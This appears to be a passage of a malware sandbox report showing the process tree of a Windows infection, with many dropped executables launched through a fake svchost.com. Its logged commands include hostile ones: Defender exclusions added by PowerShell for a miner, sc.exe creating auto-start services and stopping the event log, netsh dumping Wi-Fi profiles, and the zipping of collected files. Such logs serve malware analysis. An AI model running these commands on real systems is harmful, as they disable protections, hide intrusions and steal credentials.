  - - C:\Users\Admin\AppData\Local\Temp\AITMP0\IconRemoval.exe
      "C:\Users\Admin\AppData\Local\Temp\AITMP0\IconRemoval.exe" /s %2
      4⤵
      PID:4968
  - - C:\Users\Admin\AppData\Local\Temp\AITMP0\7zipFOPBACKEND.exe
      "C:\Users\Admin\AppData\Local\Temp\AITMP0\7zipFOPBACKEND.exe" /s %1
      4⤵
      PID:2692
- - C:\Users\Admin\AppData\Local\Temp\100016~3\daissss.exe
    C:\Users\Admin\AppData\Local\Temp\100016~3\daissss.exe
    3⤵
    PID:4444
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\23.exe"
  2⤵
  PID:5296
- - C:\Users\Admin\AppData\Local\Temp\Files\23.exe
    C:\Users\Admin\AppData\Local\Temp\Files\23.exe
    3⤵
    PID:5376
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Roaming\TELEME~1\SVCSER~1.EXE"
      4⤵
      PID:4368
    - - C:\Users\Admin\AppData\Roaming\TELEME~1\SVCSER~1.EXE
        
        C:\Users\Admin\AppData\Roaming\TELEME~1\SVCSER~1.EXE
        5⤵
        
        PID:5632
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\PCCLEA~1.EXE"
  2⤵
  PID:5240
- - C:\Users\Admin\AppData\Local\Temp\Files\PCCLEA~1.EXE
    C:\Users\Admin\AppData\Local\Temp\Files\PCCLEA~1.EXE
    3⤵
    PID:5248
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\X1.exe"
  2⤵
  PID:1476
- - C:\Users\Admin\AppData\Local\Temp\Files\X1.exe
    C:\Users\Admin\AppData\Local\Temp\Files\X1.exe
    3⤵
    PID:5816
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "TQBWNGYW"
      4⤵
      Launches sc.exe
      PID:5448
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "TQBWNGYW" binpath= "C:\ProgramData\odvhyxzhhqlu\gzexiztdwrwd.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:4388
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "TQBWNGYW"
      4⤵
      Launches sc.exe
      PID:6648
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:6640
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\%E5%88~1.EXE"
  2⤵
  PID:4036
- - C:\Users\Admin\AppData\Local\Temp\Files\%E5%88~1.EXE
    C:\Users\Admin\AppData\Local\Temp\Files\%E5%88~1.EXE
    3⤵
    PID:684
  - - C:\Users\Admin\AppData\Local\Temp\is-22I3O.tmp\%E5%88~1.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-22I3O.tmp\%E5%88~1.tmp" /SL5="$302DC,1495449,832512,C:\Users\Admin\AppData\Local\Temp\Files\%E5%88~1.EXE"
      4⤵
      PID:5292
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\GOLDKL~1.EXE"
  2⤵
  PID:5556
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\miner.exe"
  2⤵
  PID:6052
- - C:\Users\Admin\AppData\Local\Temp\Files\miner.exe
    C:\Users\Admin\AppData\Local\Temp\Files\miner.exe
    3⤵
    PID:4820
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\WINDOW~1\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\miner.exe'; Add-MpPreference -ExclusionProcess 'miner'; Add-MpPreference -ExclusionPath 'C:\Users\Admin'"
      4⤵
      PID:5368
    - - C:\Windows\SysWOW64\WINDOW~1\v1.0\powershell.exe
        
        C:\Windows\System32\WINDOW~1\v1.0\powershell.exe -command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\miner.exe'; Add-MpPreference -ExclusionProcess 'miner'; Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        5⤵
        
        PID:5296
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\SS_CON~1.EXE"
  2⤵
  PID:5172
- - C:\Users\Admin\AppData\Local\Temp\Files\SS_CON~1.EXE
    C:\Users\Admin\AppData\Local\Temp\Files\SS_CON~1.EXE
    3⤵
    PID:5240
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\autoit.exe"
  2⤵
  PID:5936
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\native.exe"
  2⤵
  PID:5684
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\CB0E88~1.EXE"
  2⤵
  PID:6756
- - C:\Users\Admin\AppData\Local\Temp\Files\CB0E88~1.EXE
    C:\Users\Admin\AppData\Local\Temp\Files\CB0E88~1.EXE
    3⤵
    PID:6824
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6824 -s 476
      4⤵
      Program crash
      PID:6784
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\rdxx1.exe"
  2⤵
  PID:5200
- - C:\Users\Admin\AppData\Local\Temp\Files\rdxx1.exe
    C:\Users\Admin\AppData\Local\Temp\Files\rdxx1.exe
    3⤵
    PID:6504
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\%E9%A3~1.EXE"
  2⤵
  PID:7120
- - C:\Users\Admin\AppData\Local\Temp\Files\%E9%A3~1.EXE
    C:\Users\Admin\AppData\Local\Temp\Files\%E9%A3~1.EXE
    3⤵
    PID:6700
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\art33.exe"
  2⤵
  PID:2968
- - C:\Users\Admin\AppData\Local\Temp\Files\art33.exe
    C:\Users\Admin\AppData\Local\Temp\Files\art33.exe
    3⤵
    PID:5584
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "EUJBTPMK"
      4⤵
      Launches sc.exe
      PID:6064
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      PID:6588
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      PID:6000
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      PID:1704
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      PID:4424
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "EUJBTPMK" binpath= "C:\ProgramData\qrabctnrcogv\uyzpsnbeowaz.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:1264
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "EUJBTPMK"
      4⤵
      Launches sc.exe
      PID:6244
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:5716

C:\Windows\svchost.exe
C:\Windows\svchost.exe
1⤵
PID:1352

C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
"C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
1⤵
PID:4704
- C:\Windows\svchost.exe
  "C:\Windows\svchost.exe" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
  2⤵
  PID:2744
- - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
    "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
    3⤵
    PID:4424
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
      4⤵
      PID:3068
    - - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        5⤵
        
        PID:3940
      - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        6⤵
        
        PID:2524
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        7⤵
        
        PID:4784

C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
1⤵
PID:2224
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
  2⤵
  PID:4064

C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
1⤵
PID:2876
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
  2⤵
  PID:3040

C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
1⤵
PID:1772
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
  2⤵
  PID:4748

C:\Windows\svchost.com
"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
1⤵
PID:4920
- C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
  C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
  2⤵
  PID:4560
- - C:\Windows\svchost.com
    "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
    3⤵
    PID:1968
  - - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
      C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
      4⤵
      PID:2436
    - - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        5⤵
        
        PID:2432
      - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        6⤵
        
        PID:4784
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        7⤵
        
        PID:4996
  - - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
      C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
      4⤵
      PID:3480
    - - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        5⤵
        
        PID:2744
      - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        6⤵
        
        PID:308
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        7⤵
        
        PID:2216

C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
1⤵
PID:3292

C:\Users\Admin\AppData\Local\Temp\Files\BC_MEM~1.EXE
C:\Users\Admin\AppData\Local\Temp\Files\BC_MEM~1.EXE
1⤵
PID:3236

C:\Windows\svchost.com
"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
1⤵
PID:4632

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x3ec
1⤵
PID:3880

C:\Users\Admin\AppData\Local\Temp\BBLb.exe
C:\Users\Admin\AppData\Local\Temp\BBLb.exe
1⤵
PID:4772
- C:\Users\Admin\AppData\Local\Temp\BBLb.exe
  C:\Users\Admin\AppData\Local\Temp\BBLb.exe
  2⤵
  PID:5432

C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
1⤵
PID:3708
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
  2⤵
  PID:8
- - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
    C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
    3⤵
    PID:3912
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
      4⤵
      PID:2764
    - - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        5⤵
        
        PID:308
      - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        6⤵
        
        PID:2876
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        7⤵
        
        PID:3192
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        8⤵
        
        PID:1984
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        9⤵
        
        PID:4104
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        10⤵
        
        PID:4512
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        11⤵
        
        PID:1404
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        12⤵
        
        PID:4328
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        13⤵
        
        PID:3344
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        14⤵
        
        PID:4728
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        15⤵
        
        PID:876
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        16⤵
        
        PID:2920
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        17⤵
        
        PID:1616
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        18⤵
        
        PID:3564
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        17⤵
        
        PID:1160
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        18⤵
        
        PID:3924
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        19⤵
        
        PID:4996
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        20⤵
        
        PID:4508
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        21⤵
        
        PID:4692
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        22⤵
        
        PID:4388
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        23⤵
        
        PID:2220
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        24⤵
        
        PID:3192
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        25⤵
        
        PID:3028
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        26⤵
        
        PID:3036
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        27⤵
        
        PID:3292
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        28⤵
        
        PID:4196

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\whatgoal.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\whatgoal.exe
1⤵
PID:756

C:\Users\Admin\AppData\Local\Temp\Files\NICEEY~1.EXE
C:\Users\Admin\AppData\Local\Temp\Files\NICEEY~1.EXE
1⤵
PID:1524

C:\Windows\SysWOW64\dialer.exe
"C:\Windows\system32\dialer.exe"
1⤵
PID:2920

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2052

C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
1⤵
PID:2224
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
  2⤵
  PID:988
- - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
    C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
    3⤵
    PID:4400
  - - C:\Windows\svchost.exe
      "C:\Windows\svchost.exe" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
      4⤵
      PID:2524
    - - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        5⤵
        
        PID:3636
      - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        6⤵
        
        PID:3444
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        7⤵
        
        PID:4424
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        8⤵
        
        PID:2920

C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
1⤵
PID:3748
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
  2⤵
  PID:1968

C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
1⤵
PID:3916
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
  2⤵
  PID:4980

C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
1⤵
PID:3748
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
  2⤵
  PID:4920
- - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
    C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
    3⤵
    PID:2988
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
      4⤵
      PID:308
    - - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        5⤵
        
        PID:2432
      - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        6⤵
        
        PID:2660

C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
1⤵
PID:4400
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
  2⤵
  PID:984
- - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
    C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
    3⤵
    PID:760
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
      4⤵
      PID:2960
    - - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        5⤵
        
        PID:1808
      - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        6⤵
        
        PID:4892
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        7⤵
        
        PID:4724
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        8⤵
        
        PID:528
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        9⤵
        
        PID:3620
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        10⤵
        
        PID:2220
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        11⤵
        
        PID:3028
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        12⤵
        
        PID:4892
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        13⤵
        
        PID:1292
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        14⤵
        
        PID:4860

C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
1⤵
PID:2140
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
  2⤵
  PID:4400
- - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
    C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
    3⤵
    PID:2960
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
      4⤵
      PID:4468
    - - C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        5⤵
        
        PID:2920
      - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        6⤵
        
        PID:912
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        7⤵
        
        PID:3028
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        8⤵
        
        PID:1532
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        9⤵
        
        PID:2876
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"
        10⤵
        
        PID:400
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe
        11⤵
        
        PID:2660

C:\ProgramData\rdytutcdlfrg\uxtldsktkgfv.exe
C:\ProgramData\rdytutcdlfrg\uxtldsktkgfv.exe
1⤵
PID:3636
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:364
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:912

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
PID:3620
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\100014~1\dota.exe"
  2⤵
  PID:6012
- - C:\Users\Admin\AppData\Local\Temp\100014~1\dota.exe
    C:\Users\Admin\AppData\Local\Temp\100014~1\dota.exe
    3⤵
    PID:5644
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\100015~1\NEWFIL~1.EXE"
  2⤵
  PID:6116
- - C:\Users\Admin\AppData\Local\Temp\100015~1\NEWFIL~1.EXE
    C:\Users\Admin\AppData\Local\Temp\100015~1\NEWFIL~1.EXE
    3⤵
    PID:1388
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\100015~2\for.exe"
  2⤵
  PID:2220
- - C:\Users\Admin\AppData\Local\Temp\100015~2\for.exe
    C:\Users\Admin\AppData\Local\Temp\100015~2\for.exe
    3⤵
    PID:5412
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3712
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
  2⤵
  PID:6020
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
    3⤵
    PID:6068
  - - C:\Windows\system32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
      4⤵
      PID:6104
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:4920
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\934047325409_Desktop.zip' -CompressionLevel Optimal
        5⤵
        
        PID:3612
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\100015~3\GOLDPR~1.EXE"
  2⤵
  PID:4064
- - C:\Users\Admin\AppData\Local\Temp\100015~3\GOLDPR~1.EXE
    C:\Users\Admin\AppData\Local\Temp\100015~3\GOLDPR~1.EXE
    3⤵
    PID:5604
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:6984
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\100015~4\mrk1234.exe"
  2⤵
  PID:1532
- - C:\Users\Admin\AppData\Local\Temp\100015~4\mrk1234.exe
    C:\Users\Admin\AppData\Local\Temp\100015~4\mrk1234.exe
    3⤵
    PID:4632
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:6196
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:6216
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6216 -s 1116
        5⤵
        Program crash
        
        PID:5548
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6216 -s 1120
        5⤵
        Program crash
        
        PID:6924
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\1061DE~1\dayroc.exe"
  2⤵
  PID:5460
- - C:\Users\Admin\AppData\Local\Temp\1061DE~1\dayroc.exe
    C:\Users\Admin\AppData\Local\Temp\1061DE~1\dayroc.exe
    3⤵
    PID:1656
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\nine.exe"
      4⤵
      PID:6768
    - - C:\Users\Admin\AppData\Local\Temp\nine.exe
        
        C:\Users\Admin\AppData\Local\Temp\nine.exe
        5⤵
        
        PID:6528
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\10271D~1\RDX.exe"
  2⤵
  PID:2220
- - C:\Users\Admin\AppData\Local\Temp\10271D~1\RDX.exe
    C:\Users\Admin\AppData\Local\Temp\10271D~1\RDX.exe
    3⤵
    PID:3468
- C:\Windows\svchost.com
